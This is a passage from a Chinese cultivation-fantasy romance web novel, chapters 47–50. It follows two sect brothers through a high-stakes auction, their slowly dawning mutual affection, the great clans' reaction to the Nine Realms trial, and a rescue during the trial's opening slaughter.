许清浔瞪大眼睛,当即手足无措不知所言,“啊,我,我不是忘了,我只是……一时想不起来了。我、我并非故意!” 祁桓听着,忽然转过头,双眸径直望着许清浔的眼睛,轻笑道:“师兄在着急什么?我们之间,并没什么。” 许清浔呆住,并没有生气祁桓开他玩笑,而是本能地庆幸道:“没什么吗,那就好,那就好。” 祁桓自始至终看着他的表情,眼神隐隐闪过一丝失落。 “倒是你,方才买了什么?”许清浔抬头问。 “茶。”祁桓回答。 “为何买茶。”许清浔顿时一惊。 据他所知,祁桓无论原著还是现在,都没有买茶的兴趣才是,毕竟这个男人除了小时候,基本很少喝茶。 “不正是为了给你沏茶醒酒吗。”祁桓反问。 许清浔又是一呆,“为了我?” “师弟为师兄买茶,很震惊吗。”祁桓盯着他。 “倒不是……” 许清浔受宠若惊,一时语塞,双眸一眨不眨地望着祁桓。 莫名老实乖巧的模样,令后者顿时心软。 祁桓偏首,低声道:“总之,你不要震惊了,因为……之后会更多的。” 许清浔当即傻眼。 显然,自家师弟前所未见的坦率震惊了他。 “更多?”他下意识地问,“还有什么?” 祁桓面色微微泛红,认真道:“等着便是。” 这一声竟如此的铿锵有力,甚至颇有气魄。 许清浔目瞪口呆,许久才反应过来,然后低着头痴痴地笑。 果然对人好是有回报的,师弟不就被我感化了吗?真好!他乐滋滋地想着,看祁桓的目光好像自带柔光,越看越顺眼,越看越喜欢。 良久,祁桓终于忍不住,提醒道:“师兄别盯着我看了,不是晚上去拍卖会吗。” 许清浔一愣,摸着下巴道:“对喔,要做一些准备。” 他很有钱,但毕竟单枪匹马,对比底蕴丰厚的各大世家,还是单薄了一些。尤其是那三大万年世家,尤其是以“大财”闻名的李家。 “这样吧,师兄先出去一趟,师弟你在这儿好好修炼。” “嗯。”祁桓点头。 许清浔于是独自出门,相当掩人耳目,他用了一些密法,兜兜转转,结果去了李家联系点。 显然是去找李长金。 李长金相当多金,这是众所周知之事。而许清浔寻他,也不是一天两天的事了。 暗屋之内,傀儡人张开僵硬的嘴,“又来吗。” 许清浔诚恳道:“今日晚上有拍卖会嘛,待师兄日后成帝,小钱而已,必倍数奉还!” “成。”傀儡人直言。 “多谢二师弟!”许清浔笑了。 “我顺便通知李家其他的人也不要参加吧。”傀儡人接着道。 许清浔大惊,“这不好吧,而且二师弟你何时这么慷慨了?” 傀儡人僵硬地笑了笑,“多亏师兄与小师弟在玄衍秘境大闹特闹,无意间为我李家解除了危机,我自当为李家感谢师兄。” 许清浔恍然大悟,挠了挠脸说:“是吗,那就多谢二师弟了。” 后面,他们又聊了一些话题,足足半个时辰才分开。 两人都不知,祁桓自始至终都在看着,十分沉默。 “爱人,需要财富。”他忽然自语,仿佛领悟到了世间真理之一。 经魔一听,又来劲了,“财富?这个我熟,只要去一个地方,我包你成为玄界第一富。” 可惜,祁桓完全不理会,自顾自地说:“师兄还是更依赖二师兄。” 经魔大怒,“臭小子你到底听见了没有!” 祁桓反而怒了,“我与师兄的事,轮不到你插嘴!” 经魔一愣,竟有些哑口无言。 这小子,人不可貌相,竟是一个爱妻家! 第48章 第四十八章 我对你的痴爱。 经魔气得半死, 恨不得冲出封印把这小子夺舍了,一天天的,真不知在想什么,爱恋不言说, 默默守护, 有个屁用!憋不死你! 没过多久, 许清浔回来了。 “师弟,随我过去拍卖会吧!”他快步走来,双袖生风,很是灵动。 祁桓起身, 顺手拎起剑匣, 背负在身后, 转头对许清浔道:“好, 走吧。” 他们并非第一次参加拍卖会了,数一数,大概有十来次了,第一次来的时候, 祁桓压不住心中的震惊,第二、第三次之后才终于习惯,虽然自始至终,内心都不太适应。 许清浔转到祁桓身边,二话不说地挽过对方的手,偏首道:“那我又要做你媳妇了。” 他抬眸那一刻, 祁桓当即一个激灵,不知为何,想到了“风情万种”四字,自家师兄战场上风华绝代, 平日还风情万种,这可怎么办…… “在想啥呢?”许清浔眨了眨眼,突然打断了祁桓的幻想。 祁桓一呆,耳尖迅速泛红,连忙转头道:“没,我没想什么。” 许清浔不知信还是没信,但最后没有追问。 八宝拍卖会的会场在八宝城中轴线上,是整座空中城池之中最高的一栋建筑物,富丽堂皇,灵气环绕。 能够来到此地的人,非富即贵,因此路过之人,无不气宇非凡,自信横溢,形成了一种不一般的“气象”。 他们毫无阻碍地进入其中,许清浔一路提防着祁桓的被动技能,怕又有什么人突然跳脸嘲讽,但还好,今日师弟运气不错,一路上并没有碰见什么奇葩。 这时,许清浔忽然看到了一个熟人的身影,凑在祁桓耳边低语,“前面那个不是咱们的小弟吗。” 祁桓闻言心中暗喜,因为许清浔的语气仿佛说“那个小弟”是他们之间的共同财产一样。 什么人会有共同财产?比如说夫妻…… 边想着,他边顺着许清浔的指示看过去,毫不惊讶。 姬舞明,姬家三少爷,他会出现在这种地方并不奇怪。姬舞明身后还有一个人,姬舞明对他喊大哥,那八成就是姬武尚,看着就人高马大,孔武有力。 许清浔喃喃自语道:“姬家啊……我想起那本日事的八卦了,真没想到,姬家家主还有那段往事。” 祁桓皱了皱眉,不悦道:“他明明有心爱之人,却还是与他人生了三个孩子。移情别恋。” 许清浔顿惊,听出了祁桓语气中的鄙夷,他心想,师弟怎知这件事?莫非也看了那本日事? 许清浔傻眼,但下意识地解释道:“师弟你误会了,他们三个并不是姬家家主亲生的。” 祁桓一愣,转头道:“不是?” 许清浔点头,小声道:“世家很大的,家族成员众多,家族中最有地位的弟子,不一定出自家主一脉,还有可能出自分家,咱们之前不是见过王腾飞、王凰潜吗?他们在王家地位那么高,但也不是王守渊亲生的,更不是王守渊的孙子孙女。至于姬家那三个嘛,其实是姬家家主已故大哥的孩子。” 祁桓恍然大悟,似乎有些不好意思,“原来如此,我误会了。” 许清浔继续道:“这些大家族一个比一个复杂,巨树扎根,根系多且庞杂,有时候他们自己都会混乱,比如说我就不是现任许家家主的孩子,现任许家家主……算是我的叔父吧。” 说时,他眼神有些黯淡,好似不太擅长应对“叔父”这个人。 祁桓其实知道这件事,他对其他家族大多一无所知,认为没必要知道,但关于许清浔的事、关于许家的事,他非常清楚,虽然大多来自传闻,他自己并未亲眼见过那些传闻中的许家大人物。 许家家主,许如应,传说是一位风度翩翩的人物,性情温和,鲜少动怒,关于他的所有传说,都指向他是一个极好脾气、极好相处的人。但祁桓不太相信,他不认为这样的人会成为许家家主。根据他的推测,许如应……绝对是一个掌控欲极强的人。 只不过,若是这样的话,又为何会放自家天才在外? 师兄这样的绝世天才,无论放在哪个家族,都绝对不可能让他自由在外的。 祁桓面色微变,眉头皱得更紧。 “在想什么呢师弟。”许清浔突然开口,牵着的手捏了捏,浅色的双眸直勾勾地望着祁桓,似乎注意到了他的神色变化,正关心着他。 祁桓顿时凛然,摇了摇头道:“没……只是在想,你家族的事。” “我家的什么事?”许清浔好奇。 此时,两人已经走进了拍卖会里面的黄金长道,身边陆续有人经过,有些是熟面孔,有些素未谋面。 因此,他们开始了神念沟通。 祁桓思考了一下,“外界关于你离家出走的事有着许多说法,你之前说过一些,但我还是不明白,许家家主为何也会答应。” 许清浔眼睛一亮,“你好奇了?” 祁桓坦诚点头。 许清浔大笑:“好奇可是爱的开始哦!” 祁桓呆住,险些也要点头,甚至还要补充一句,早就开始了。 然而,许清浔目光转向前方,接着说:“其实真没啥,我不知道你听到了什么说法,但家主那个人……其实很尊重我的想法,尊重到了,我都觉得不可思议的地步。” 祁桓表面不动声色,心中难以置信。他想起了王守渊,王守渊的举动也同样不可思议,自家天赋非凡的晚辈被杀,王守渊居然反而镇压了自己,完全不想对师兄做什么。 这就仿佛,这些大人物们之间,有着什么默契一样。 祁桓瞳孔微缩,不禁紧张地看着许清浔。 那些大人物的默契,难道跟师兄有关?! 许清浔不知他在想什么,继续回忆道:“以前小时候我真的不觉得什么,但总觉得长大之后,尤其是这五年里……我越想越觉得奇怪,也不只是许家家主,甚至我父母也很奇怪。” “他们在瞒着你一些事。”祁桓突然开口,语气肃然。 许清浔一愣,看了祁桓一眼,闷声道:“我也觉得,但我总不可能回家问他们吧?搞不好这一去就无回了,所以只得……嗯,让他们先瞒着吧。” 再者,眼下实力低微,就算知道了什么,自己估计也解决不了,那不如先集中精力修炼。实力,能够解决修真界绝大部分问题。对吧? 祁桓似乎也这么想着,他低眸,沉默了片刻,忽然抓紧许清浔的手,语气十分郑重地承诺道:“没事,不管怎样,我都在你身边。” 他仿佛在说——“不管发生什么事,我都会保护你。” 许清浔呆了呆,心中同时涌现出意外……以及喜悦。虽然自家师弟现在还弱小,但师弟可是这本书的男主啊。 男主的承诺……很有安全感有没有! 许清浔心花怒放,唇线上扬,当即将烦恼抛在了脑后,“好!这可是师弟你说的,到时候要是找不到你人,师兄只好找天道讨公道了!” 这话说的,莫名逗笑了祁桓。 “嗯,尽管讨。”他很是大方,难得的坦率。 许清浔注意到了他的变化,心里甜滋滋,有种呵护已久的花苗终于长大开花了的满足感。 这就是做榜一大哥的爽感啊! 片刻之后,他们来到了高层包间。 房间内应有尽有,香炉里燃着檀木,桌上摆放着大小两壶酒。 许清浔一眼就看中了,喜笑颜开。 祁桓忽然走上前,挡住了他的视线,语气不冷不热地管教道:“昨日才喝了,今日不准贪杯。” 许清浔闻言一呆,目光幽幽,却也只好点头。 他怀疑,自家师弟越来越大胆了,甚至要骑上头来做“师兄”了,但他不敢说。 自家师弟亲自己了,是大好事,但……许清浔郁闷地想着,突然目睹到祁桓一张绝美的侧颜画面,当即心花怒放,郁闷一拍而散。 师弟的美貌,师兄的荣耀啊!许清浔就这么痴痴地看着。 而祁桓本人似乎没有注意到,他垂手放下剑匣,忽然转头看向右侧,双眸微眯。 许清浔也察觉到了,挑了挑眉,正色道:“又是王家,真是阴魂不散啊。” 他们的位置有些微妙,右侧是王家,左侧是许家,真是冤家路窄,亲家也路窄。 王家来了几个面目不善的,中间的年轻人趾高气扬,下巴高抬,有种装腔作势的调调,一看就是自诩自家强大,目中无人。 许家的来人,许清浔很眼生,大概没见过。两个老的,年龄看不出,大约三四百岁吧,加两个小的,年龄比他们大,大概二十六七的样子。 虽然许清浔也会时常忘记,但他自己这身其实也才二十三岁,若是放在现世,那才是大三大四的年纪。 所以相比之下,他们这个包厢相当引人注目。 毕竟,什么实力能定下最顶级的包间? 而且,他们才是两个年轻人而已,比在座的所有人都要年轻。 就在这时,隔壁似乎爆发了一些矛盾,王家不知什么人吵了起来,疯狂摔东西,甚至还砸人。 与此同时,许家那边也不知在骂什么,杀气腾腾,剑拔弩张。 很显然,他们两家正在对骂,火药味十足,拍卖会方来人都阻止不了他们。 许清浔隐隐听见自己的名字,感慨道:“他们还念着我们的事呢。” 祁桓转眸,“这样下去,拍卖还能开展吗。” “能。”许清浔一笑。 果不其然,下一刻,一道如渊似海的气息镇压了整个空间。 八宝城城主亲临,便是万年世家之人也不敢造次。 气焰嚣张的王家不得不隐忍。 许家则是骂了几句,才老实坐回原位。 众人纷纷放下心来,与此同时,拍卖会宣布了开始。 许清浔笑容更深,转头对祁桓道:“对吧,你师兄厉不厉害?” “厉害。”祁桓呆呆地看着那张恣意的笑颜,心中幽暗地想,但如此厉害的你,何时才能察觉我的心意。 我对你的痴爱。 第49章 第四十九章 简直恶俗啊! 拍卖会顺利进行, 奇珍异宝不断地呈上,由一位面容娇美的修士讲解背景功效,有些奇珍异宝本身就很出名,有些则不然, 是一些刚从遗迹中挖掘出来的古物, 多数来历不明, 功效也说不准。 对于这些东西,许清浔格外关注,总是兴致勃勃地打量着。 祁桓则在旁边一言不发,有时候关注奇珍异宝, 有时候关注许清浔。 有些大热品一出就引起了哄抢, 哪怕是万年世家都坐不住。 然而许清浔反而对它们毫无兴趣, 他只买自己和祁桓最需要的东西, 至于其他的大宝,日后强大了,你即便不要,也会有人送上来。 这时, 讲解的修士忽然提到了一件不太常见的珍物。 “此物,乃龙涎,即真龙的涎液,起拍价五十万上品灵石。” 许清浔一听,当即来了兴致,转头问祁桓, “师弟可知,龙涎有何功效?” 祁桓看了他一眼,淡淡道:“不知。” 话音刚落,讲解人已经开始说明。 许清浔笑了, 一本正经道:“修士体质强大,普通药不起作用,而这龙涎……据说上到元婴化神都有效用,因此许多大家族都对它非常渴望。” 他这话有明显的言外之意,众所周知,修士修为越强大,就越难有子嗣,若是夫妻之间彼此修为差距大,难度还会翻上几倍。 因此,对于需要源源不断地产出优质子嗣的大家族来说,龙涎十分有用,它能助双方更好的行房,然后更顺利地孕上孩子。 价值就从这里来。 祁桓听完了,反问:“师兄为何要告诉我这个。” 许清浔一呆,似乎也困惑了,低声自问道:“对啊,我告诉你这些干什么?” 他歪了歪头,摸着下巴沉思,突然抬起头道:“当然是提醒你,小心被人灌下龙涎都不知道。” 祁桓沉默了一下,又问:“谁会白白灌我龙涎,它并不便宜。” 许清浔脸一红,道:“当然是想跟你……的人啊,你自己懂的!” 祁桓望着许清浔,似乎真的不明白。 许清浔眨了眨眼,莫名心虚。 他心想,原著里真的有人试图给你灌龙涎,而你差点着道了!我提前提醒你不好吗,以你的倒霉体质,指不定未来真的会触发这个剧情啊。 他又理直气壮了起来,肃然道:“总之,人心难测!你人帅实力强,指不定会被什么神女圣女看上呢?哦不,还有老牛吃嫩草的,修真界坏人多,你什么都要多留意!” 祁桓缓缓点头,“既然师兄这么说,我日后定会小心。” 许清浔顿时吸了一口气,不过说真的,自己干嘛非要调侃祁桓这一下。自己以前根本不是那种会和朋友聊……黄色话题的人啊。为什么对象是祁桓,自己就下意识地觉得没问题了呢。 许清浔皱眉,感觉自己绝对有哪里不对劲。但究竟是哪里不对劲呢…… 他大惑不解,陷入沉思。 这时,龙涎的拍卖似乎即将一锤定音了,容家出价最高,三百万颗上品灵石,其他几家都没有出手的意向。 但是,就在拍卖人即将确定归属的时候,许清浔突然开口,“四百万。” 拍卖会默认出价的单位是上品灵石,单说价位即可。 他一开口,几乎所有人都看了过去。 那间贵宾房外面看不到里面,只能听出——声音定是出自一个非常年轻的男子。 这是什么人出手。各大家族一头雾水,王家皱了皱眉,许家按兵不动。 祁桓则是露出了震惊的神色。 紧接着,这个价格没有人再跟,龙涎顺理成章地落入许清浔手中。 不久后,有人毕恭毕敬地送了过来。 许清浔接过,将白玉瓶端在手里,仔细端详,还打开了一下,仿佛试图嗅闻一番。 祁桓终于忍不住开口:“师兄你……” 许清浔似乎知道他要说什么,笑着转头道:“不是师兄要用,是……我突然觉得,此物买着不亏。” 祁桓面色微变,目光灼灼,虽未说话,但似乎有些紧张,抑或是不安。 许清浔小咳一声,不知为何,总觉得自己得解释清楚,“等到九界天才会你就知道了,那里比起灵石更重要的是,你手上有其他人需要的东西。” “天才厮杀之地,竟也有人需要这种东西。”祁桓皱了皱眉。 许清浔笑了笑,“世界是很大的,无奇不有,再者,兴许日后真的派上用场呢。” 祁桓冷不丁道:“跟谁。” 许清浔嘴一瓢,竟道:“跟你呀。” “……” “……” 空气骤然凝固了,两人一前一后红了脸,相续低下头。 许清浔心跳如鼓,面色涨红如霞,心中已经是一团乱麻,他本来是突发奇想,因为想起来龙涎极其稀有,而原著后面试图用龙涎搞祁桓的,正好是容家的一个大佬,又正好,对面拍卖下龙涎的就是容家,那么只要拍下眼前的龙涎,是否就能断了这个后患? 当然,他不确定这一份是否就是原著的那一份。但万一呢? 嗯,他本意是这个,可是为什么说出了那么……重量级的话啊! 虽然之前不是没有调戏过师弟,但明显性质不对吧。 糟了糟了,师弟一声不吭,身体似乎微微发抖,不会是被他气得想打人了吧。 不要啊,你师兄虽然偶尔说话不正经,但真的是一个正经人,再者,你师兄不是男同! 许清浔内心大风暴,直呼完了完了,我要不要当场滑跪道歉啊。 他战战兢兢地抬起眸,却只见那个男人偏首不语,薄唇紧抿着,片刻才开口。 却是一句令许清浔大脑“铛”了一声的话。 “我无须此物。” 许清浔瞪大了眼睛,震惊之外,更是侥幸,连忙接话道:“是是是,师弟怎会需要龙涎助兴呢,哈哈哈,没事没事,反正留着咱们也不亏。” 祁桓看了他一眼,不知想着什么,只是淡淡地应了一声。 后来,拍卖会继续。 许清浔几乎拿下了计划中的所有东西,十分顺利,钱几乎花完了,但花得值得,千金散尽还复来嘛。 据说,拍卖会之后,王家和许家暗中打了一架,具体孰输孰赢,外人并不清楚。 深夜,两人平安返回客栈,身后无人跟踪,一切安好。 唯一不太好的是,忙碌过后,许清浔想起了龙涎插曲,以及祁桓那句乍听平平无奇,仔细一想,非常不对劲的话。 他调侃跟师弟一起用龙涎,师弟居然说无须龙涎,这是什么意思?只否定这个,不否定另一个吗?很明显另一个才更重量吧。 装作仰望月光,数点着拍卖品,许清浔心中天翻地覆,两个小人正在激烈争辩,师弟对劲吗?对劲吧,他又没说什么奇怪的话,师弟不对劲吗,不对劲吧,难道不用龙涎就可以了吗?和我也可以? 许清浔面色一度非常精彩,连忙摇头,蠢货,你别想太多,你师弟是什么人你还不知道吗,你要他男同?就看他翻不翻脸、撕不撕你就完事了。 而且,你满脑子想这些事,要是被他知道了,绝对会被鄙视的! 许清浔心惊胆战,没忍住偷瞄了端坐在床上修炼的祁桓一眼。 黑衣修士双眸闭阖,背脊挺直,气质凛然不可侵犯,一看就没有那些世俗的欲望。 而你,好家伙,竟对自己的师弟想这些颜色之事!简直恶俗啊! 许清浔吓得连忙清空了心中的胡思乱想,不管师弟那句话是什么意思,你作为师兄,都不能去想那些乱七八糟的,晓得吗? 他深吸了一口气,面色终于恢复正常,但是正常之后,为何会多了一分空落感。 “……我真是,莫非单身久了。”某种欲望得不到满足,于是内心控制不住渴求? 他本来觉得自己清心寡欲,但最近几天的事情多少让他有所动摇。 可是,堵不如疏,他忽然低声自语,又觉得自己想错方向了。 “……”我到底怎么了。 许清浔望着高悬的明月,心中生出一丝又一丝的迷茫,而久而久之,他居然感激起了这些迷茫,因为有迷茫才是人,人生在世,些许烦恼又算得了什么。 毕竟……他又转头看了一眼端坐的黑衣修士,心念道:“毕竟,我们还有很长时间,任何事情都不必着急。” 终于,烦躁的心归于平静,如同静止的湖泊。他也沉心修炼,追求下一步突破。 九界天才会将至,乾坤未定,一切都须努力。 深夜静默,只有轻微的风声。 许久之后,黑衣修士睁开了眼睛,仿佛在回忆着什么。 拍卖会,每一次进入那种富丽堂皇的地方,他都会控制不住地生出一种野心。 那种野心,曾在他童年时有过,来源于他不知天高地厚的天真与愚蠢,自以为一个平凡家庭出生的孩子,也能像话本故事里的主角一样,凭着一腔热血踏上修炼之路,意气风发,奇遇不断,遇神斩神,遇佛斩佛,最终成功证道成仙。 后来,那不成熟的野心被熄灭了,仅在一夜之间。伴随着的,还有他的天真意气。 书上说,人出生时嘴里含着一□□气,若是养得好,气会伴随人的一生,滋养人的精神,助力人一口气走向巅峰。 他大概是散了那□□气,才在那些年活得人不像人,鬼不像鬼。 一直到,遇到了师兄。想到这,他眼泛笑意,俊美的脸似乎瞬间明朗了几分。 遇到师兄之后,他终于又有了人样,只是,依然没有活气。 那是什么时候有了活气?其实并不知道具体何时,回过神时,已经活得不能再活了,尤其是感觉到巨大的“不相配”时。 明明距离不过一步之遥,却仿佛相距天地之远。然而或许也是因此,他才……不敢说出口。 怕若是说了,那个人会抛下他,去往一个他无法触及的世界。而所有的顾虑,都是因为一件事。 “实力不足罢了。”他苦涩地自语,分明求之不得,心如刀绞,却又甘之如饴,享受着这份苦痛。 ——可若是有一天,即便你什么都不做,他也走了呢。 祁桓正欲平复心情,突然一道念头打乱了他的平静,令他顿生无尽焦虑,甚至生出了一些危险的想法。 第二日,许清浔修炼醒来,只觉一切如常。 “师弟,我们出发吧!” “……师弟?” 第50章 第五十章 为何会对一个男人心动 三日后, 深山法府,绿草如茵,蓝天如洗。 许清浔一通抱怨,“留下神念说有事离开, 结果一走就是三日, 眼里还有没有我这个师兄啊。” 他手里炼制着法符, 周身符文环绕,盛放着金色的光华,他看似心不在焉,法符的炼制倒是丝毫没有怠慢, 一张张金纸红字的法符, 整齐有序地大展开来, 如若地上的烈日, 照亮了四方八野。 还好,他的道场足够大,里面的动静再强烈,外面人也察觉不到。抱怨过后, 他又不禁感慨,果然新买的符纸就是好用。 接着,许清浔低眸,随手抽出一张符纸,食指抚摸着锋利如刃的边缘处,“都不用炼制符文, 稍微用灵力加持一下,这符纸就能武器了。” 很好,再多准备几份! 他眼底含着金光,一念而已, 漫山遍野的法符如流水般收入他的袖袍之中,全数纳进了玉简。 远方带来一股强风,吹得他白发飘扬,身姿尽显。他毫不在意,待强风散了,他衣摆垂落,款款大方,事了席地而坐,沉心入定,周身灵气飘绕。 不久,震天动地之声响起,天空仿佛绽开了裂纹,又像是被谁的大神通之力撼动了,强行印上了一种至为古老的痕迹。 玄界之内,几乎所有人都目睹到了,一轮难以名状的暗黑大日,正在缓缓升起,遮掩住了原来的太阳。它的周围似乎环绕着星星点点,唯有眼力高超之人才能洞悉它们的真身。 ——即,前所未见的古之符咒。 这时,大地震动,河川喘急。一股不知何处来的大道之力浩浩荡荡,席卷天地,引来无数传说异象,甚至有真龙真凰的符文隐隐显化。 许清浔抬起头,面色微变,既有意料之中,也有意料之外。 他身为符修,自小就钻研符文,据说周岁时,家里人给他找来无数珍宝,他全部视若无睹,只拿起了一枚石头。 准确地说,是一枚铭刻着古之符文的石头。 谁也不知那符文是什么意思,只知道它蕴藏着极其强大的力量,有人曾摹刻它,竟遭天地反噬,被天雷轰成了飞灰。 而他却抓着石头津津有味地玩着,甚至试图描摹。 据说,当时在场的人都被他吓到了,但是……最后却无事发生? 许清浔摸着下巴,目光始终望着天空,用心记下那片神妙的符文演化,然后不知不觉间,进入了感悟状态。 几乎与此同时,玄界各大势力为之轰动。 许家太虚洞天之中,几个大人物接连现身。 “九界大炼终于要开始了吗,不知这一次又要死多少人。” “大世界快要支撑不住了吧。” “唯有舍弃,才能存续。” “必须出现一位超越古史的人物才行,否则……” 他们独自低语,却像交谈,眼神沧桑黯淡,几乎不剩希望。 他们身后,一位白衣胜雪的青年淡淡地笑了,“我却觉得,那孩子有希望。” 众人身形微僵,将目光齐齐投向了许如应。 许如应一身清雅,眉眼如画,气质谦和,若是出现在人群之中,极少有人能够联想到,他竟是一尊万年世家的家主。 “那孩子?如应,你说的是如言的孩子吗。” 一位长须老者开口。 许如应点头,“是,正是那个出生便伴随大道显化之异象的孩子。” 诸老一顿,互相转换视线。 长须老者皱了皱眉,“但那孩子性情反逆,容易招来横祸。” “嗯。”许如应没有多解释,只是将目光投向了更远处。 太虚洞天的另一处,一对男女转头相视。 男人问:“不去见一面吗。” 女人似乎有些动摇,但最后摇了摇头,“不必打扰。” 几乎与此同时,王家十方洞天。 一位黑袍男子神色阴郁,盯着棋盘良久,一直举棋不定。 另一方,李家。 一位面色红润的老者仰天道:“长金啊,莫争莫争,留有一条命最重要。” 李长金恭敬行礼,“是,先祖大人。” 姬家深院之中,几个人正在对话。 “小三啊,你就别去了,九界大炼危险,我和你二哥去就够了,你留下。” “不行!你们两比我还一脸死相,要我说,我最应该去,你们留下!” 渐渐地,发展成了争执。 与此同时,玄界血林,大风吹来,飞鸟横空,落叶纷纷。 李梦好盯着天空的异象,神色肃穆,“终于,要来了吗。” 黑土之地,大雨倾盆,疯狂冲刷大地。 破旧的木屋之内,黑衣修士拎起剑匣,目光无意扫过自己的手腕,不禁动作一顿,皱了皱眉。接着,他将剑匣背负在腰后,灵力覆手,遮掩住了从心脉蔓延而出的魔纹。 经魔窃语:“这可不关我的事,你昔日选了这条路,岂有说回头就能回头的道理。再道心不稳,说不定下次就要被魔心吞噬了。” 黑衣修士并未理会它。 三个时辰过去,天空的异象还在演化,一部分人已经启程。 深山法府之中,青衣修士静坐不动,周身灵气飘逸,如烟似雾,如龙似蛇。 忽然,似乎有人走进了法府,他并未动用神通,一步一步地走向了青衣修士的位置。 夕阳西下,暮光在草地上勾勒出了他的身形,以及他背负在腰后的剑匣。 他蓦地停下脚步,与此同时,青衣修士睁开了双眸,目光炯炯地盯着那个才知道回来的男人。 “师弟,你到底跑哪儿了。”青衣修士挑了挑眉,似乎酝酿着怒火。 男人歉然低头,“有事,不得不离开,现在已经没事了。” “有事?”许清浔纳闷,本想着怒骂一顿,但不知为何,见到态度如此诚挚的对方真人,忽然间泄了火,他思考着,目光低落,奇怪地看着祁桓袖下的双手。 那双好看的手不知为何,竟然覆上了一层灵力,仿佛纹身了一样,呈现出纯然的黑色。这样……倒是也好看,只是为何? “比起那些,师弟,你的手怎么了。”许清浔侧首,好奇地问。 “没什么,只是感觉这样更方便。”祁桓淡淡回答。 无须详细说明,许清浔便知道,祁桓说的是杀人更方便。的确,这样启动灵力会更快一分。 敢情这家伙三日不见,就是去琢磨杀人功夫了? 许清浔抬眸,佯作凶狠地盯着祁桓。后者一声不吭,但态度十分到位。 “我没事,比起我,师兄如何了。” “如何?你问我的修炼?” “嗯。” “那自然比你强上不少。” 又聊了几句,仿佛事情就这么过去了。 许清浔其实想刨根问底,但莫名感觉这样太基了,祁桓又不是他突然失踪不联系的男友,他干嘛要追着人交代这些那些?只要不是跑去偷偷修炼灭世魔经,那都不是问题。 想着,许清浔突然逼近祁桓,仿佛要嗅闻对方的味道,贴到了颈窝。 而后者,僵硬不动。 没感知到任何不对劲,许清浔侧了侧头,双眸转动,至近距离之下注视着祁桓。 后者仍旧不动声色。 片刻过后,许清浔大笑着拍了拍祁桓的肩膀,“好好,没事了,你知道回来就好,是人都有急事,师兄才不是不讲理的人。” 闻言,祁桓似乎松了口气。 “准备好了的话,我们就启程吧?去真正的大世界舞台,横扫千军,勇争第一!” 许清浔眼睛大亮,明明是问祁桓,却好像并不打算给祁桓选择的余地,一逮住人就连通了天空的九界印。 只见,他们脚下同时显现出了一个大型符文,再之后,他们便消去了身影。 九界大炼,开局大厮杀,斩杀百人以上,方可飞升入下一关。 于是,才开启不到半天,影子洞天内已经血流成河,横尸无数。 一个背负巨斧的少年笑看前方,“我们没必要互相残杀,杀玄界人就够了,他们人多且弱,在他们身上赚取通关名额再合适不过。” 他身后之人或环抱长剑,或背负长刀,无不是染着一身鲜血。 “玄界,那个灵气复苏得最晚最慢的一界吗。” “是,他们这一界的人每一代上来都是垫脚石、炼剑石的命。” “哈哈哈,没有一次赢到最后对吧?” 少年们哄笑一堂。 忽然有人目光一扫,眉头皱了,走到尸堆旁边,突然喘了一脚。 尸体横飞,失去遮掩,暴露出了一个藏匿的重伤修士。 这一刻,所有人都看向了他。 集中的杀气几乎凝成了一柄杀人的刀,割在他脖颈边,随时可能将他人头分离。 他恐惧地望着他们,浑身颤抖不止,“不要杀我……我、我认输……” 抱剑少年笑了,走近几步,“不如,我们各斩一剑,谁先杀了他,名额就算谁的。” 重伤修士面色顿白。没等其他人点头,抱剑少年猛地向前挥剑。 剑光横斩,重伤修士血溅当场,重重地摔在地面,胸口的剑痕撕裂开,几乎能看见碎裂的内脏。 “这不还没死吗。我来!”持刀的少年冷漠挥刀。 重伤修士惨叫一声,整个脖子都差点被斩断了,却仍“藕断丝连”着,断面长着生机勃勃的肉芽。 耍着巨斧的少年笑了笑,“不可思议,听说玄界有一个家系神通,恢复力超乎寻常,想来你就是那个家族的人吧。” 说完,他残忍一笑,手抡巨斧,当场就要将人劈成肉末。 就在这时,一道黑光极速杀来。 “咣”的一声,撼动了巨斧。 少年们面色大变,其中一人当机立断杀向了“黑光”。 然而,只是一呼吸之间而已,他们的武器相续砸落在地。 巨斧少年难以置信地盯着前方,随后眉心显化出一道血痕,也同样吐血倒地。 险些断头的姬舞明目瞪口呆,傻傻地看向忽然出现的青衣修士。 青衣修士歪头一笑,“哟,这不是姬三弟吗,这么巧遇见了?” 这一刻,姬舞明险些痛哭流涕。 三刻钟后,古遗迹外,法符阵中。 “你是说,你跟你大哥二哥分散了?” 许清浔眨了眨眼。 姬舞明点点头,忽然背脊发寒,抬头一看,只见祁桓正默默地擦着刀。 其实出手的是祁桓,只是他先看到了许清浔的身影。 见姬舞明似乎很怕祁桓,许清浔笑道:“不要太顾忌他,他虽然看着冷酷,不近人情,但其实人蛮好的。” 姬舞明呆呆地点了点头,但还是一副害怕的神色。 许清浔转头对祁桓说:“师弟,你也说些什么吧?” 说时,他亲昵地搭着对方的肩,毫不在意男人释放出的寒意。 姬舞明睁大了眼睛,显然难以置信。 祁桓抬眸,对姬舞明冷冷地道:“前面的路,你自己走。” 姬舞明愣住,支支吾吾道:“啊,是,我自己走。” 许清浔一看,遗憾道:“师弟,你还是吓到人家了。” 祁桓看向许清浔,“是吗,但……我们不可能一直带着他。” 许清浔摇头又点头,毕竟他又能拿自家师弟怎么办呢?而且他也是这个打算,姬舞明看似平常,但绝不是普通人物,应当自己开辟自己的路。 “你说的对。”许清浔十分赞许,靠着祁桓问:“你方才没有受伤吧?” 祁桓点头,“他们太弱,伤不了我。” 许清浔哈哈一笑,“那是,对师弟你来说,那不过是一盘开胃菜罢了。” 他们旁若无人地闲聊着。而此时的姬舞明心中大为震撼,他心想,他们也太亲近了吧,相处起来简直跟家主和家主夫人一样! 许清浔忽然转头,问:“怎么了吗?” 姬舞明吓了一跳,脑子一抽,竟忍不住问:“你、你们是道侣吗?” 此话一出,两个人同时愣住了。 许清浔呆住。 祁桓瞳孔一震,下意识看向了许清浔。 许清浔面色刷地泛红,心想笨蛋,当着祁桓的面说他男同,你不要命了啊。 然而姬舞明刚说出口,自己也傻住了,当即瑟瑟发抖,整个人大写的“害怕”。 许清浔不敢看祁桓的表情,急忙救场道:“当然不是啊,我们是师兄弟,关系不摆在明面上吗?” 祁桓闻言,明显眼神暗了暗。 姬舞明立刻回过神,摸着头道:“是、是我误会了。” 许清浔小咳一声,“当然是误会!不过,你为何会有这种错觉?” 姬舞明一呆,目光畏惧地看向祁桓。 祁桓低眸,表情有些可怕。 许清浔没注意到,“说说看,我们哪里让你误会了?” 姬舞明挠了挠头,“是我的错觉,刚刚鬼迷心窍,不知为何看着你们,竟想起了我家家主,还有家主夫人。” 